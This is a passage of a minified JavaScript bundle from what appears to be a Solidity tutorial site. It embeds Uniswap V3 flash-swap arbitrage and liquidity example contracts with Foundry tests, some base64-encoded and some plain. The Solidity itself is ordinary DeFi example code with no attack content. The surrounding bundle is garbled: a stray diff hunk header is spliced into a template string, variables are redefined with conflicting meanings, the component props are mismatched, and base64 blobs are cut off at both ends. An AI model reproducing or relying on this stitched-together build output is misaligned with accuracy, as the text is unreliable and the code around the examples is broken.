JsaWMgewogICAgICAgIGZsYXNoU3dhcCA9IG5ldyBVbmlzd2FwVjNGbGFzaFN3YXAoKTsKCiAgICAgICAgLy8gQ3JlYXRlIGFuIGFyYml0cmFnZSBvcHBvcnR1bml0eSAtIG1ha2UgV0VUSCBjaGVhcGVyIG9uIHBvb2wwCiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiA1MDAgKiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIDUwMCAqIDFlMTgpOwogICAgICAgIHJvdXRlci5leGFjdElucHV0U2luZ2xlKAogICAgICAgICAgICBJU3dhcFJvdXRlcjAyLkV4YWN0SW5wdXRTaW5nbGVQYXJhbXMoewogICAgICAgICAgICAgICAgdG9rZW5JbjogV0VUSCwKICAgICAgICAgICAgICAgIHRva2VuT3V0OiBEQUksCiAgICAgICAgICAgICAgICBmZWU6IEZFRV8wLAogICAgICAgICAgICAgICAgcmVjaXBpZW50OiBhZGRyZXNzKDApLAogICAgICAgICAgICAgICAgYW1vdW50SW46IDUwMCAqIDFlMTgsCiAgICAgICAgICAgICAgICBhbW91bnRPdXRNaW5pbXVtOiAwLAogICAgICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICAgICAgfSkKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RfZmxhc2hTd2FwKCkgcHVibGljIHsKICAgICAgICB1aW50MjU2IGJhbDAgPSBkYWkuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIGZsYXNoU3dhcC5mbGFzaFN3YXAoewogICAgICAgICAgICBwb29sMDogYWRkcmVzcyhwb29sMCksCiAgICAgICAgICAgIGZlZTE6IEZFRV8xLAogICAgICAgICAgICB0b2tlbkluOiBEQUksCiAgICAgICAgICAgIHRva2VuT3V0OiBXRVRILAogICAgICAgICAgICBhbW91bnRJbjogREFJX0FNT1VOVF9JTgogICAgICAgIH0pOwogICAgICAgIHVpbnQyNTYgYmFsMSA9IGRhaS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgdWludDI1NiBwcm9maXQgPSBiYWwxIC0gYmFsMDsKICAgICAgICBhc3NlcnRHdChwcm9maXQsIDAsICJwcm9maXQgPSAwIik7CiAgICAgICAgY29uc29sZTIubG9nKCJQcm9maXQgJWUiLCBwcm9maXQpOwogICAgfQp9Cg=="}],gb=`

                    Uniswap V3 Flash Swap Arbitrage Example

                    +`,tb=({prev:s,next:a})=>r.jsx(u,{version:nb,title:lb,description:pb,html:cb,prev:s,next:a,codes:eb}),ob="0.8.24",rb="Uniswap V3 Flash Swap Arbitrage",ib="Uniswap V3 Flash Swap Arbitrage",gb=[{fileName:"UniswapV3FlashSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFkZHJlc3MgY29uc3RhbnQgU1dBUF9ST1VURVJfMDIgPSAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7Cgpjb250cmFjdCBVbmlzd2FwVjNGbGFzaFN3YXAgewogICAgSVN3YXBSb3V0ZXIwMiBjb25zdGFudCByb3V0ZXIgPSBJU3dhcFJvdXRlcjAyKFNXQVBfUk9VVEVSXzAyKTsKCiAgICB1aW50MTYwIHByaXZhdGUgY29uc3RhbnQgTUlOX1NRUlRfUkFUSU8gPSA0Mjk1MTI4NzM5OwogICAgdWludDE2MCBwcml2YXRlIGNvbnN0YW50IE1BWF9TUVJUX1JBVElPID0KICAgICAgICAxNDYxNDQ2NzAzNDg1MjEwMTAzMjg3MjczMDUyMjAzOTg4ODIyMzc4NzIzOTcwMzQyOwoKICAgIC8vIERBSSAvIFdFVEggMC4zJSBzd2FwIGZlZSAoMjAwMCBEQUkgLyBXRVRIKQogICAgLy8gREFJIC8gV0VUSCAwLjA1JSBzd2FwIGZlZSAoMjEwMCBEQUkgLyBXRVRIKQogICAgLy8gMS4gRmxhc2ggc3dhcCBvbiBwb29sMCAocmVjZWl2ZSBXRVRIKQogICAgLy8gMi4gU3dhcCBvbiBwb29sMSAoV0VUSCAtPiBEQUkpCiAgICAvLyAzLiBTZW5kIERBSSB0byBwb29sMAogICAgLy8gcHJvZml0ID0gREFJIHJlY2VpdmVkIGZyb20gcG9vbDEgLSBEQUkgcmVwYWlkIHRvIHBvb2wwCgogICAgZnVuY3Rpb24gZmxhc2hTd2FwKAogICAgICAgIGFkZHJlc3MgcG9vbDAsCiAgICAgICAgdWludDI0IGZlZTEsCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgdWludDI1NiBhbW91bnRJbgogICAgKSBleHRlcm5hbCB7CiAgICAgICAgYm9vbCB6ZXJvRm9yT25lID0gdG9rZW5JbiA8IHRva2VuT3V0OwogICAgICAgIC8vIDAgLT4gMSA9PiBzcXJ0IHByaWNlIGRlY3JlYXNlCiAgICAgICAgLy8gMSAtPiAwID0+IHNxcnQgcHJpY2UgaW5jcmVhc2UKICAgICAgICB1aW50MTYwIHNxcnRQcmljZUxpbWl0WDk2ID0KICAgICAgICAgICAgemVyb0Zvck9uZSA/IE1JTl9TUVJUX1JBVElPICsgMSA6IE1BWF9TUVJUX1JBVElPIC0gMTsKCiAgICAgICAgYnl0ZXMgbWVtb3J5IGRhdGEgPSBhYmkuZW5jb2RlKAogICAgICAgICAgICBtc2cuc2VuZGVyLCBwb29sMCwgZmVlMSwgdG9rZW5JbiwgdG9rZW5PdXQsIGFtb3VudEluLCB6ZXJvRm9yT25lCiAgICAgICAgKTsKCiAgICAgICAgSVVuaXN3YXBWM1Bvb2wocG9vbDApLnN3YXAoewogICAgICAgICAgICByZWNpcGllbnQ6IGFkZHJlc3ModGhpcyksCiAgICAgICAgICAgIHplcm9Gb3JPbmU6IHplcm9Gb3JPbmUsCiAgICAgICAgICAgIGFtb3VudFNwZWNpZmllZDogaW50MjU2KGFtb3VudEluKSwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IHNxcnRQcmljZUxpbWl0WDk2LAogICAgICAgICAgICBkYXRhOiBkYXRhCiAgICAgICAgfSk7CiAgICB9CgogICAgZnVuY3Rpb24gX3N3YXAoCiAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgIGFkZHJlc3MgdG9rZW5PdXQsCiAgICAgICAgdWludDI0IGZlZSwKICAgICAgICB1aW50MjU2IGFtb3VudEluLAogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluCiAgICApIHByaXZhdGUgcmV0dXJucyAodWludDI1NiBhbW91bnRPdXQpIHsKICAgICAgICBJRVJDMjAodG9rZW5JbikuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIwMi5FeGFjdElucHV0U2luZ2xlUGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlcjAyCiAgICAgICAgICAgIC5FeGFjdElucHV0U2luZ2xlUGFyYW1zKHsKICAgICAgICAgICAgdG9rZW5JbjogdG9rZW5JbiwKICAgICAgICAgICAgdG9rZW5PdXQ6IHRva2VuT3V0LAogICAgICAgICAgICBmZWU6IGZlZSwKICAgICAgICAgICAgcmVjaXBpZW50OiBhZGRyZXNzKHRoaXMpLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50SW4sCiAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IGFtb3VudE91dE1pbiwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgYW1vdW50T3V0ID0gcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiB1bmlzd2FwVjNTd2FwQ2FsbGJhY2soCiAgICAgICAgaW50MjU2IGFtb3VudDAsCiAgICAgICAgaW50MjU2IGFtb3VudDEsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbCB7CiAgICAgICAgLy8gRGVjb2RlIGRhdGEKICAgICAgICAoCiAgICAgICAgICAgIGFkZHJlc3MgY2FsbGVyLAogICAgICAgICAgICBhZGRyZXNzIHBvb2wwLAogICAgICAgICAgICB1aW50MjQgZmVlMSwKICAgICAgICAgICAgYWRkcmVzcyB0b2tlbkluLAogICAgICAgICAgICBhZGRyZXNzIHRva2VuT3V0LAogICAgICAgICAgICB1aW50MjU2IGFtb3VudEluLAogICAgICAgICAgICBib29sIHplcm9Gb3JPbmUKICAgICAgICApID0gYWJpLmRlY29kZSgKICAgICAgICAgICAgZGF0YSwgKGFkZHJlc3MsIGFkZHJlc3MsIHVpbnQyNCwgYWRkcmVzcywgYWRkcmVzcywgdWludDI1NiwgYm9vbCkKICAgICAgICApOwoKICAgICAgICB1aW50MjU2IGFtb3VudE91dCA9IHplcm9Gb3JPbmUgPyB1aW50MjU2KC1hbW91bnQxKSA6IHVpbnQyNTYoLWFtb3VudDApOwoKICAgICAgICAvLyBwb29sMCAtPiB0b2tlbkluIC0+IHRva2VuT3V0IChhbW91bnRPdXQpCiAgICAgICAgLy8gU3dhcCBvbiBwb29sIDEgKHN3YXAgdG9rZW5PdXQgLT4gdG9rZW5JbikKICAgICAgICB1aW50MjU2IGJ1eUJhY2tBbW91bnQgPSBfc3dhcCh7CiAgICAgICAgICAgIHRva2VuSW46IHRva2VuT3V0LAogICAgICAgICAgICB0b2tlbk91dDogdG9rZW5JbiwKICAgICAgICAgICAgZmVlOiBmZWUxLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50T3V0LAogICAgICAgICAgICBhbW91bnRPdXRNaW46IGFtb3VudEluCiAgICAgICAgfSk7CgogICAgICAgIC8vIFJlcGF5IHBvb2wgMAogICAgICAgIHVpbnQyNTYgcHJvZml0ID0gYnV5QmFja0Ftb3VudCAtIGFtb3VudEluOwogICAgICAgIHJlcXVpcmUocHJvZml0ID4gMCwgInByb2ZpdCA9IDAiKTsKCiAgICAgICAgSUVSQzIwKHRva2VuSW4pLnRyYW5zZmVyKHBvb2wwLCBhbW91bnRJbik7CiAgICAgICAgSUVSQzIwKHRva2VuSW4pLnRyYW5zZmVyKGNhbGxlciwgcHJvZml0KTsKICAgIH0KfQoKaW50ZXJmYWNlIElTd2FwUm91dGVyMDIgewogICAgc3RydWN0IEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgewogICAgICAgIGFkZHJlc3MgdG9rZW5JbjsKICAgICAgICBhZGRyZXNzIHRva2VuT3V0OwogICAgICAgIHVpbnQyNCBmZWU7CiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQ7CiAgICAgICAgdWludDI1NiBhbW91bnRJbjsKICAgICAgICB1aW50MjU2IGFtb3VudE91dE1pbmltdW07CiAgICAgICAgdWludDE2MCBzcXJ0UHJpY2VMaW1pdFg5NjsKICAgIH0KCiAgICBmdW5jdGlvbiBleGFjdElucHV0U2luZ2xlKEV4YWN0SW5wdXRTaW5nbGVQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KTsKfQoKaW50ZXJmYWNlIElVbmlzd2FwVjNQb29sIHsKICAgIGZ1bmN0aW9uIHN3YXAoCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgYm9vbCB6ZXJvRm9yT25lLAogICAgICAgIGludDI1NiBhbW91bnRTcGVjaWZpZWQsCiAgICAgICAgdWludDE2MCBzcXJ0UHJpY2VMaW1pdFg5NiwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHJldHVybnMgKGludDI1NiBhbW91bnQwLCBpbnQyNTYgYW1vdW50MSk7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9CgppbnRlcmZhY2UgSVdFVEggaXMgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBleHRlcm5hbCBwYXlhYmxlOwogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludDI1NiBhbW91bnQpIGV4dGVybmFsOwp9Cg=="},{fileName:"UniswapV3FlashSwapTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0IHsKICAgIFVuaXN3YXBWM0ZsYXNoU3dhcCwKICAgIElVbmlzd2FwVjNQb29sLAogICAgSVN3YXBSb3V0ZXIwMiwKICAgIElFUkMyMCwKICAgIElXRVRICn0gZnJvbSAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1mbGFzaC1zd2FwL1VuaXN3YXBWM0ZsYXNoU3dhcC5zb2wiOwoKYWRkcmVzcyBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwphZGRyZXNzIGNvbnN0YW50IERBSSA9IDB4NkIxNzU0NzRFODkwOTRDNDREYTk4Yjk1NEVlZGVBQzQ5NTI3MWQwRjsKYWRkcmVzcyBjb25zdGFudCBTV0FQX1JPVVRFUl8wMiA9IDB4NjhiMzQ2NTgzM2ZiNzJBNzBlY0RGNDg1RTBlNEM3YkQ4NjY1RmM0NTsKYWRkcmVzcyBjb25zdGFudCBEQUlfV0VUSF9QT09MXzMwMDAgPSAweEMyZTlGMjVCZTYyNTdjMjEwZDdBZGYwRDRDZDZFM0U4ODFiYTI1Zjg7CmFkZHJlc3MgY29uc3RhbnQgREFJX1dFVEhfUE9PTF81MDAgPSAweDYwNTk0YTQwNWQ1MzgxMWQzQkM0NzY2NTk2RUZEODBmZDU0NUEyNzA7CnVpbnQyNCBjb25zdGFudCBGRUVfMCA9IDMwMDA7CnVpbnQyNCBjb25zdGFudCBGRUVfMSA9IDUwMDsKCmNvbnRyYWN0IFVuaXN3YXBWM0ZsYXNoVGVzdCBpcyBUZXN0IHsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IGRhaSA9IElFUkMyMChEQUkpOwogICAgSVdFVEggcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJU3dhcFJvdXRlcjAyIHByaXZhdGUgY29uc3RhbnQgcm91dGVyID0gSVN3YXBSb3V0ZXIwMihTV0FQX1JPVVRFUl8wMik7CiAgICBJVW5pc3dhcFYzUG9vbCBwcml2YXRlIGNvbnN0YW50IHBvb2wwID0gSVVuaXN3YXBWM1Bvb2woREFJX1dFVEhfUE9PTF8zMDAwKTsKICAgIElVbmlzd2FwVjNQb29sIHByaXZhdGUgY29uc3RhbnQgcG9vbDEgPSBJVW5pc3dhcFYzUG9vbChEQUlfV0VUSF9QT09MXzUwMCk7CiAgICBVbmlzd2FwVjNGbGFzaFN3YXAgcHJpdmF0ZSBmbGFzaFN3YXA7CgogICAgdWludDI1NiBwcml2YXRlIGNvbnN0YW50IERBSV9BTU9VTlRfSU4gPSAxMCAqIDFlMTg7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIGZsYXNoU3dhcCA9IG5ldyBVbmlzd2FwVjNGbGFzaFN3YXAoKTsKCiAgICAgICAgLy8gQ3JlYXRlIGFuIGFyYml0cmFnZSBvcHBvcnR1bml0eSAtIG1ha2UgV0VUSCBjaGVhcGVyIG9uIHBvb2wwCiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiA1MDAgKiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIDUwMCAqIDFlMTgpOwogICAgICAgIHJvdXRlci5leGFjdElucHV0U2luZ2xlKAogICAgICAgICAgICBJU3dhcFJvdXRlcjAyLkV4YWN0SW5wdXRTaW5nbGVQYXJhbXMoewogICAgICAgICAgICAgICAgdG9rZW5JbjogV0VUSCwKICAgICAgICAgICAgICAgIHRva2VuT3V0OiBEQUksCiAgICAgICAgICAgICAgICBmZWU6IEZFRV8wLAogICAgICAgICAgICAgICAgcmVjaXBpZW50OiBhZGRyZXNzKDApLAogICAgICAgICAgICAgICAgYW1vdW50SW46IDUwMCAqIDFlMTgsCiAgICAgICAgICAgICAgICBhbW91bnRPdXRNaW5pbXVtOiAwLAogICAgICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICAgICAgfSkKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RfZmxhc2hTd2FwKCkgcHVibGljIHsKICAgICAgICB1aW50MjU2IGJhbDAgPSBkYWkuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIGZsYXNoU3dhcC5mbGFzaFN3YXAoewogICAgICAgICAgICBwb29sMDogYWRkcmVzcyhwb29sMCksCiAgICAgICAgICAgIGZlZTE6IEZFRV8xLAogICAgICAgICAgICB0b2tlbkluOiBEQUksCiAgICAgICAgICAgIHRva2VuT3V0OiBXRVRILAogICAgICAgICAgICBhbW91bnRJbjogREFJX0FNT1VOVF9JTgogICAgICAgIH0pOwogICAgICAgIHVpbnQyNTYgYmFsMSA9IGRhaS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgdWludDI1NiBwcm9maXQgPSBiYWwxIC0gYmFsMDsKICAgICAgICBhc3NlcnRHdChwcm9maXQsIDAsICJwcm9maXQgPSAwIik7CiAgICAgICAgY29uc29sZTIubG9nKCJQcm9maXQgJWUiLCBwcm9maXQpOwogICAgfQp9Cg=="}],hb=`

                    Uniswap V3 Flash Swap Arbitrage Example

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -6319,7 +6319,7 @@ IERC20 constant PAIR Foundry
                    
 
                    Uniswap V3 Foundry example
                    
-`,hb=({prev:s,next:a})=>r.jsx(u,{version:tb,title:ob,description:rb,html:gb,prev:s,next:a,codes:ib}),db="0.8.24",Ib="Uniswap V3 Liquidity Examples",Cb="Uniswap V3 liquidity examples",jb=[{fileName:"UniswapV3Liquidity.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

interface IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

contract UniswapV3Liquidity is IERC721Receiver {
    IERC20 private constant dai = IERC20(DAI);
    IWETH private constant weth = IWETH(WETH);

    int24 private constant MIN_TICK = -887272;
    int24 private constant MAX_TICK = -MIN_TICK;
    int24 private constant TICK_SPACING = 60;

    INonfungiblePositionManager public nonfungiblePositionManager =
        INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata
    ) external returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    function mintNewPosition(uint256 amount0ToAdd, uint256 amount1ToAdd)
        external
        returns (
            uint256 tokenId,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        )
    {
        dai.transferFrom(msg.sender, address(this), amount0ToAdd);
        weth.transferFrom(msg.sender, address(this), amount1ToAdd);

        dai.approve(address(nonfungiblePositionManager), amount0ToAdd);
        weth.approve(address(nonfungiblePositionManager), amount1ToAdd);

        INonfungiblePositionManager.MintParams memory params =
        INonfungiblePositionManager.MintParams({
            token0: DAI,
            token1: WETH,
            fee: 3000,
            tickLower: (MIN_TICK / TICK_SPACING) * TICK_SPACING,
            tickUpper: (MAX_TICK / TICK_SPACING) * TICK_SPACING,
            amount0Desired: amount0ToAdd,
            amount1Desired: amount1ToAdd,
            amount0Min: 0,
            amount1Min: 0,
            recipient: address(this),
            deadline: block.timestamp
        });

        (tokenId, liquidity, amount0, amount1) =
            nonfungiblePositionManager.mint(params);

        if (amount0 < amount0ToAdd) {
            dai.approve(address(nonfungiblePositionManager), 0);
            uint256 refund0 = amount0ToAdd - amount0;
            dai.transfer(msg.sender, refund0);
        }
        if (amount1 < amount1ToAdd) {
            weth.approve(address(nonfungiblePositionManager), 0);
            uint256 refund1 = amount1ToAdd - amount1;
            weth.transfer(msg.sender, refund1);
        }
    }

    function collectAllFees(uint256 tokenId)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        INonfungiblePositionManager.CollectParams memory params =
        INonfungiblePositionManager.CollectParams({
            tokenId: tokenId,
            recipient: address(this),
            amount0Max: type(uint128).max,
            amount1Max: type(uint128).max
        });

        (amount0, amount1) = nonfungiblePositionManager.collect(params);
    }

    function increaseLiquidityCurrentRange(
        uint256 tokenId,
        uint256 amount0ToAdd,
        uint256 amount1ToAdd
    ) external returns (uint128 liquidity, uint256 amount0, uint256 amount1) {
        dai.transferFrom(msg.sender, address(this), amount0ToAdd);
        weth.transferFrom(msg.sender, address(this), amount1ToAdd);

        dai.approve(address(nonfungiblePositionManager), amount0ToAdd);
        weth.approve(address(nonfungiblePositionManager), amount1ToAdd);

        INonfungiblePositionManager.IncreaseLiquidityParams memory params =
        INonfungiblePositionManager.IncreaseLiquidityParams({
            tokenId: tokenId,
            amount0Desired: amount0ToAdd,
            amount1Desired: amount1ToAdd,
            amount0Min: 0,
            amount1Min: 0,
            deadline: block.timestamp
        });

        (liquidity, amount0, amount1) =
            nonfungiblePositionManager.increaseLiquidity(params);
    }

    function decreaseLiquidityCurrentRange(uint256 tokenId, uint128 liquidity)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        INonfungiblePositionManager.DecreaseLiquidityParams memory params =
        INonfungiblePositionManager.DecreaseLiquidityParams({
            tokenId: tokenId,
            liquidity: liquidity,
            amount0Min: 0,
            amount1Min: 0,
            deadline: block.timestamp
        });

        (amount0, amount1) =
            nonfungiblePositionManager.decreaseLiquidity(params);
    }
}

interface INonfungiblePositionManager {
    struct MintParams {
        address token0;
        address token1;
        uint24 fee;
        int24 tickLower;
        int24 tickUpper;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
        address recipient;
        uint256 deadline;
    }

    function mint(MintParams calldata params)
        external
        payable
        returns (
            uint256 tokenId,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        );

    struct IncreaseLiquidityParams {
        uint256 tokenId;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
        uint256 deadline;
    }

    function increaseLiquidity(IncreaseLiquidityParams calldata params)
        external
        payable
        returns (uint128 liquidity, uint256 amount0, uint256 amount1);

    struct DecreaseLiquidityParams {
        uint256 tokenId;
        uint128 liquidity;
        uint256 amount0Min;
        uint256 amount1Min;
        uint256 deadline;
    }

    function decreaseLiquidity(DecreaseLiquidityParams calldata params)
        external
        payable
        returns (uint256 amount0, uint256 amount1);

    struct CollectParams {
        uint256 tokenId;
        address recipient;
        uint128 amount0Max;
        uint128 amount1Max;
    }

    function collect(CollectParams calldata params)
        external
        payable
        returns (uint256 amount0, uint256 amount1);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

interface IWETH is IERC20 {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}
"},{fileName:"UniswapV3LiquidityTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1saXF1aWRpdHkvVW5pc3dhcFYzTGlxdWlkaXR5LnNvbCI7Cgpjb250cmFjdCBVbmlzd2FwVjNMaXF1aWRpdHlUZXN0IGlzIFRlc3QgewogICAgSVdFVEggcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKCiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgREFJX1dIQUxFID0KICAgICAgICAweGU4MUQ2ZjAzMDI4MTA3QTIwREJjODMxNzZEQTgyYUU4MDk5RTlDNDI7CgogICAgVW5pc3dhcFYzTGlxdWlkaXR5IHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWM0xpcXVpZGl0eSgpOwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHsKICAgICAgICB2bS5wcmFuayhEQUlfV0hBTEUpOwogICAgICAgIGRhaS50cmFuc2ZlcihhZGRyZXNzKHRoaXMpLCAyMCAqIDFlMTgpOwoKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IDIgKiAxZTE4fSgpOwoKICAgICAgICBkYWkuYXBwcm92ZShhZGRyZXNzKHVuaSksIDIwICogMWUxOCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3ModW5pKSwgMiAqIDFlMTgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RMaXF1aWRpdHkoKSBwdWJsaWMgewogICAgICAgIC8vIFRyYWNrIHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHVpbnQxMjggbGlxdWlkaXR5OwoKICAgICAgICAvLyBNaW50IG5ldyBwb3NpdGlvbgogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50ID0gMTAgKiAxZTE4OwogICAgICAgIHVpbnQyNTYgd2V0aEFtb3VudCA9IDFlMTg7CgogICAgICAgICgKICAgICAgICAgICAgdWludDI1NiB0b2tlbklkLAogICAgICAgICAgICB1aW50MTI4IGxpcXVpZGl0eURlbHRhLAogICAgICAgICAgICB1aW50MjU2IGFtb3VudDAsCiAgICAgICAgICAgIHVpbnQyNTYgYW1vdW50MQogICAgICAgICkgPSB1bmkubWludE5ld1Bvc2l0aW9uKGRhaUFtb3VudCwgd2V0aEFtb3VudCk7CiAgICAgICAgbGlxdWlkaXR5ICs9IGxpcXVpZGl0eURlbHRhOwoKICAgICAgICBjb25zb2xlMi5sb2coIi0tLSBNaW50IG5ldyBwb3NpdGlvbiAtLS0iKTsKICAgICAgICBjb25zb2xlMi5sb2coInRva2VuIGlkIiwgdG9rZW5JZCk7CiAgICAgICAgY29uc29sZTIubG9nKCJsaXF1aWRpdHkiLCBsaXF1aWRpdHkpOwogICAgICAgIGNvbnNvbGUyLmxvZygiYW1vdW50IDAiLCBhbW91bnQwKTsKICAgICAgICBjb25zb2xlMi5sb2coImFtb3VudCAxIiwgYW1vdW50MSk7CgogICAgICAgIC8vIENvbGxlY3QgZmVlcwogICAgICAgICh1aW50MjU2IGZlZTAsIHVpbnQyNTYgZmVlMSkgPSB1bmkuY29sbGVjdEFsbEZlZXModG9rZW5JZCk7CgogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIENvbGxlY3QgZmVlcyAtLS0iKTsKICAgICAgICBjb25zb2xlMi5sb2coImZlZSAwIiwgZmVlMCk7CiAgICAgICAgY29uc29sZTIubG9nKCJmZWUgMSIsIGZlZTEpOwoKICAgICAgICAvLyBJbmNyZWFzZSBsaXF1aWRpdHkKICAgICAgICB1aW50MjU2IGRhaUFtb3VudFRvQWRkID0gNSAqIDFlMTg7CiAgICAgICAgdWludDI1NiB3ZXRoQW1vdW50VG9BZGQgPSAwLjUgKiAxZTE4OwoKICAgICAgICAobGlxdWlkaXR5RGVsdGEsIGFtb3VudDAsIGFtb3VudDEpID0gdW5pLmluY3JlYXNlTGlxdWlkaXR5Q3VycmVudFJhbmdlKAogICAgICAgICAgICB0b2tlbklkLCBkYWlBbW91bnRUb0FkZCwgd2V0a